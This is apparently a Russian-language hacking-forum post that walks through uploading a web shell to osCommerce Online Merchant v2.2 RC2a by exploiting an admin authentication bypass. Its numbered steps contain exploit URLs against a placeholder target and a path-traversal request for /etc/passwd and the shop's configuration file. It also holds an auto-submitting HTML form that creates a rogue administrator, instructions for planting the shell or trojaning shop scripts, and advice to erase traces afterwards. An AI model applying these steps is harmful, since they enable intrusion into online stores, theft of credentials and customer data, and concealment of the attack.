Заливаем шелл для osCommerce Online Merchant v2.2 RC2a.
Для заливки пригодны два штатных инструмента
/admin/file_manager.php
/admin/banner_manager.php,
но доступ к ним разрешен только авторизованному админу.
Можно воспользоваться сплоитом http://www.milw0rm.com/exploits/9556 , который использует
следующую уязвимость: для доступа к скриптам в каталоге admin/ проверяется валидность
аминской сессии и если таковая не обнаружена идет перенаправление на admin/login.php
(см. admin/includes/application_top.php) но проверка if ($current_page != FILENAME_LOGIN),
если обнаружит, что url ссылается на login.php, редиррект не производит и тело скрипта выполняется.
Достаточно модифицировать урл
/admin/file_manager.php - /admin/file_manager.php/login.php
/admin/banner_manager.php - /admin/banner_manager.php/login.php
/admin/administrators.php - /admin/administrators.php/login.php
и скрипт выполнится для неавторизованного пользователя.
При заливке приходится учитывать, что часть сайтов отказывается выполнить залитый шелл,
если на него установлены права на запись, к примеру c правами chmod 777 shell.php не запускается,
а с правами chmod 755 shell.php срабатывает.
Атаку можно провести следующим образом:
1 - (не обязательно) проверяем доступность и работоспособность file_manager.php
http://target.com/admin/file_manager.php/login.php?action=download&filename=includes/configure.php
или просто
http://target.com/admin/file_manager.php/login.php
работают конструкции типа
http://target.com/file_manager.php?action=download&filename=../../../../../../../../etc/passwd
2 - (не обязательно, но удобнее) добавляем нового админа
можно использовать, как предложил Uwater (из поста выше).
Код HTML:
<form method="post" action="http://target.com/admin/administrators.php/login.php?action=insert">
<input type=hidden name="username" value="as" />
<input type=hidden name="password" value="123123" />
<input type=hidden name="x" value="16" />
<input type=hidden name="y" value="13" />
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>
3 - льем шелл из админки, Administration/Tools/File Manager
Administration/Tools/Banner Manager
а если она не доступна (иногда administrtors.php удален) гуляем вместе с
/admin/file_manager.php, модифицируя ссылки file_manager.php? на file_manager.php/login.php?
Для заливки есть три команды
action=new_file - чаще всего попадаем в нужные права chmod
action=upload - удобно,но часто дает права на запись и шелл не запускается
action=edit - когда не срабатывают первае два, просто трояним скрипт магазина
(например для исправления chmod загруженного шелла)
примеры
http://target.com/admin/file_manager.php/login.php?action=new_file
алтернативно
http://target.com/admin/file_manager.php/login.php?action=upload
алтернативно
http://target.com/admin/banner_manager.php/login.php?action=new
Для кнопок, отправляющих данные из формы приходится аналогично править исходный код страницы.
file_manager.php (если мы не меняли каталог) льет шелл в корень магазина.
banner_manager.php в images.
4 - чистим за собой (админа, баннеры, скрипты магазина)